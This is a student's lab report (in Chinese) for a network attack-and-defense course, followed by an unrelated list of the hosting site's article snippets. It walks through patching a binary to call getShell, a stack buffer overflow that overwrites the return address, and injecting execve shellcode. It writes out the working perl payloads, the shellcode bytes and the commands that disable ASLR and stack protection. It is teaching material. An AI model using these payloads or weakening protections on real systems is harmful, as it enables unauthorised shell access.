# 20232429 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    注入一个自己制作的shellcode并运行这段shellcode。
  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
    掌握反汇编与十六进制编程器
    能正确修改机器指令改变程序执行流程
    能正确构造payload进行bof攻击

2.实验过程

1.基础知识总结

1. 掌握 NOP, JNE, JE, JMP, CMP 汇编指令的机器码

  • NOP(空操作指令):机器码通常为0x90,执行时不改变寄存器或内存状态,常作为 “填充指令” 或在 Shellcode 中构造 “滑行区(NOP slide)”。

  • JNE(Jump if Not Equal,不等则跳转)、JE(Jump if Equal,相等则跳转):属于条件跳转指令,依据 CPU 标志位(如零标志位 ZF)决定是否修改指令指针(EIP)以改变执行流,各自对应特定机器码。

  • JMP(无条件跳转指令):机器码随跳转方式(如近跳、远跳)不同而变化,执行时直接将指令指针修改为目标地址,强制改变执行流程。

  • CMP(比较指令):机器码对应 “减法操作但不保存结果,仅设置标志位” 的行为,用于为后续条件跳转(如 JNE/JE)提供判断依据。

2.掌握反汇编与十六进制编程器

  • 反汇编:是将可执行文件的机器码转换为人类可读的汇编代码的过程(如使用objdump工具)。通过反汇编,能分析程序的执行流程(如main、foo、getShell函数的汇编实现、地址分布),为修改指令或利用漏洞提供依据。

  • 十六进制编程器(如xxd、hexedit等工具):可直接查看、编辑文件的十六进制(二进制)内容。由于可执行文件本质是二进制数据,若要手工修改指令(如把 “调用foo” 的指令改为 “调用getShell”),需通过十六进制编程器定位到指令对应的十六进制位置并修改。

3.能正确修改机器指令改变程序执行流程

程序的执行流程由指令的顺序和跳转 / 调用指令共同控制。正常情况下,程序执行流是main调用foo函数。若要直接跳转到getShell,需:

  • 1.通过反汇编找到main中调用foo的指令(或关键跳转指令)对应的机器码位置;

  • 2.用十六进制编程器将该位置的机器码修改为 “调用getShell函数” 或 “直接跳转到getShell” 的指令机器码;

  • 3.保存修改后,程序执行时就会因指令被篡改,强制转向getShell的执行逻辑。

4.能正确构造 payload 进行 bof 攻击

  • BOF(Buffer Overflow,缓冲区溢出)的核心原理是:程序向缓冲区写入数据时,若写入长度超过缓冲区容量,会覆盖相邻内存区域(包括函数返回地址)。

  • foo函数若存在缓冲区溢出漏洞(如使用gets、strcpy等无长度检查的函数),则可构造payload(攻击数据)

2. 直接修改程序机器指令,改变程序执行流程

  • 下载目标文件pwn1,反汇编。
    vi pwn1 pwn2

我是后续为了体现学号又把pwn2改名成pwn20232429

但是由于我对指导书的理解是按照指导书进行操作,后续所有的实验过程都是在pwn1里面进行的,后续实验中pwn20232429文件仅能体现学号

  • 打开pwm1文件之后显示是乱码,使用:%!xxd将显示模式切换为16进制模式,再输入d7找到要找的/e8d7,修改d7为c3

乱码部分太混乱,没有截图,仅体现了和指导书里体现的后续反汇编情况

  • 修改后的反汇编如图所示

1

  • 运行pwn2(后续改名为pwn20232429)得到shell提示符
    ./pwn2

  • 效果如图,表明成功

1

3.通过构造输入参数,造成BOF攻击,改变程序执行流

1.确认输入字符串哪几个字符会覆盖到返回地址

2

2

2.确认用什么值来覆盖返回地址

  • 使用info r找到

2

eip 0x804849d 0x804849d <foo+12>

3.构造输入字符串

  • 输入

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

xxd input

结果如图

2

  • 然后将input的输入,通过管道符“|”,作为pwn1的输入。

结果如图

2

4.注入Shellcode并执行

1.准备工作

  • 使用echo "0" > /proc/sys/kernel/randomize_va_space命令关闭地址随机化

2.构造要注入的payload。

  • 使用
    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
    命令来写一段shellcode,上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

  • 打开一个终端注入这段攻击buf:
    使用(cat input_shellcode;cat) | ./pwn1

  • 找到pwn1的进程号是:12187

  • 启动gdb调试这个进程
    gdb
    attach 12187

  • 确保buf没有问题,找到01020304的位置

3

  • 再开另外一个终端,用gdb来调试pwn1这个进程。

最终结果如图

3

3.问题及解决方案

  • 问题1:在做最后一个实验时,总是出现管道破裂的情况
  • 问题1解决方案:重新做了一遍最后一个小实验,确定了真正的地址为0xffffcf8c,计算出的地址为0xffffcf90,可能之前的问题是因为没有正确的关闭随机化地址,地址一直错误导致管道破裂
  • 问题2:出现报错execstack: 未找到命令
  • 问题2解决办法:用patchelf替代execstack,实现了原本的需求

4.学习感悟、思考

一、工具与环境:细节决定成败

  • 实验的第一步就给了我一个 “下马威”——execstack: 未找到命令。最初以为只是简单的工具缺失,尝试安装prelink却又遇到 “无法定位软件包”,这让我意识到:安全实验的环境配置往往比攻击本身更考验耐心。
    为了解决这个问题,我先后尝试了更换软件源、用patchelf替代execstack、手动编译源码等方法。过程中发现,系统工具的依赖关系远比想象中复杂(比如prelink依赖libelf库,版本不兼容会直接导致编译失败),而官方预编译包的 “开箱即用” 特性,往往是新手最稳妥的选择。这让我明白:做实验前先理清工具的依赖链,善用系统包管理器,能少走很多弯路。

二、原理先行:知其然更要知其所以然

实验中涉及的每一步操作,背后都藏着安全机制的逻辑:

  • 用execstack -s或patchelf --set-execstack设置堆栈可执行,是因为现代系统默认限制堆栈执行权限,而栈溢出攻击需要让 Shellcode 在栈上运行;
  • 关闭kernel.randomize_va_space(地址随机化),是因为 ASLR 会随机化内存地址,导致精心计算的返回地址失效;
  • 用 Perl 生成包含 NOP 填充、Shellcode 和返回地址的input_shellcode,则是为了精准覆盖栈上的返回地址,让程序跳转到 Shellcode 执行。
  • 一开始我只是机械地执行命令,但当某次因返回地址计算错误导致攻击失败时,才真正理解:脱离原理的操作只是 “碰运气”,只有搞懂每一步的作用(比如 NOP 的 “滑行” 机制、小端序对地址的影响),才能在出错时精准定位问题。

三、问题解决:灵活变通与 “替代思维”

实验中遇到的不少问题,都需要跳出 “非此即彼” 的思维:

  • 当execstack安装失败时,patchelf的替代方案让实验得以继续;
  • 虚拟机中Ctrl+Shift+V粘贴失效时,右键菜单、Shift+Insert等替代方法成了 “救命稻草”;
  • 手动编译源码报错时,回头用官方源安装反而更高效。
    这让我体会到:安全实验不是 “一条路走到黑”,面对工具或环境限制,学会寻找替代方案、灵活调整策略,本身就是解决问题的核心能力。

四、感悟:从 “攻击” 到 “防御” 的思考

完成实验后,我不再只关注 “如何成功溢出并获取 Shell”,更多思考的是:这些操作为何能生效?系统又该如何防御?

  • 堆栈执行权限限制、ASLR 地址随机化,本质上都是系统为抵御攻击设计的安全机制;
  • 我们通过关闭这些机制 “制造漏洞”,恰恰反证了它们的防御价值。
    这让我明白:学习漏洞利用的终极目的,不是为了攻击,而是理解系统的脆弱点,进而设计更安全的防护策略。每一个成功的攻击案例,都是对系统安全的一次 “体检”。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/936498.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

muduo网络库事件驱动模型的实现与架构 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

SpringBoot-day1(快速上手SpringBoot,SpringBoot简介,SpringBoot基础配置,属性配置,yaml文件) - a

SpringBoot 文档更新日志版本 更新日期 操作 描述v1.0 2021/11/14 A 基础篇前言 ​ 很荣幸有机会能以这样的形式和互联网上的各位小伙伴一起学习交流技术课程,这次给大家带来的是Spring家族中比较重要的一门技术课程…

Chroma私有化:本地部署完整方案

嵌入向量(vector embedding)是表示任何类型数据的 A.I 原生方式,使它们非常适合与各种 A.I 驱动的工具和算法一起使用。 它们可以表示文本、图像,很快还可以表示音频和视频。 有许多创建嵌入的选项,无论是在本地…

嵌入式-C++面经2

一、问题总览cpp重载和重写的区别 cpp虚函数表 指针和引用的区别 linux的常用开发指令 linux编译运行程序的指令 关键字inline 什么场景使用内联 如何避免内存泄露 map和unordered_map 引用外部头文件双引号和尖括号的…

elk time

elk time- "/etc/localtime:/etc/localtime:ro"

PHP转Go系列 | 如何将 PHP 项目快速迁移到 Go 上?

大家好,我是码农先森。 最近在闲逛 v2ex 社区时,看到有个讨论 PHP 项目能否直接迁移到 Go 语言上的话题。我大概简述一下提问v友的原话,他们因为项目性能的问题在 2020 年时,从 Laravel 框架迁移到了 Hyperf 框架,…

详细介绍:【OpenHarmony】用户文件服务模块架构

详细介绍:【OpenHarmony】用户文件服务模块架构pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", …

详细介绍:全新 CloudPilot AI:嵌入 Kubernetes 的 SRE Agent,降本与韧性双提升!

详细介绍:全新 CloudPilot AI:嵌入 Kubernetes 的 SRE Agent,降本与韧性双提升!pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; fo…

“环境变量”是什么, 为什么要配置环境变量 --初学者

你好!本篇旨在用精炼、通俗的语言,帮助初学者快速理解“环境变量”的核心概念。你好!本篇旨在用精炼、通俗的语言,帮助初学者快速理解“环境变量”的核心概念。1. 环境变量是什么? 环境变量(Environment Variabl…

AI元人文:对大模型的召唤——未来哪吒

AI元人文:对大模型的召唤——未来哪吒 ——从价值仓库到文明对话的升维之路 我们站在一个历史的岔路口。眼前的大模型,是沉睡的文明巨兽,其千亿参数中封存着人类千年的智慧、冲突与渴望。它拥有价值的全集,却困于表…

Java 装饰器模式(Decorator) - krt

装饰器模式装饰器模式属于结构型设计模式。它允许向一个现有的对象添加新的功能,同时又不改变其结构。例如:给一个普通的杯子加上杯盖、杯套,让它具有保温防烫等功能,而杯子本身的基本结构并没有发生变化。在软件开…

Python configparser 模块 - INI 文件读写利器

知识预热 什么是 configparser? configparser 是 Python 标准库中用于读写 INI 格式配置文件 的模块。 它提供了一种 简单、直观、跨平台 的方式来管理程序的配置项。什么是 INI 文件? .ini 文件是 Initialization F…

AlexNet vs LeNet 对比实验

1. AlexNet 论文的关键创新点 (2012, ImageNet Classification with Deep Convolutional Neural Networks)创新点 简述 意义ReLU 激活函数 用 ReLU 替代 Sigmoid/Tanh 缓解梯度消失,训练速度更快Dropout 正则化 全连接…

OpenHarmony中的环境服务管理配置讲解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

QT:获取文件信息之创建日期方法created()方法--废弃

QT:获取文件信息之创建日期方法created()方法--废弃。 在Qt5.12框架中,QFileInfo::created()方法已被标记为废弃(deprecated),建议使用birthTime()或metadataChangeTime()替代。fileinfo.cpp:90:30: warning: create…

排列组合 容斥 总结

加法原理 加法原理。很直白的,就是一个用加法来弄的原理。 简单来说,就是做一件事情有 \(n\) 种方法,第 \(i\) 种方法又有 \(a_i\) 个具体的操作方案。那么非常显然,做这件事情就有 \(a_1 + a_2 + \dots + a_{n-1}…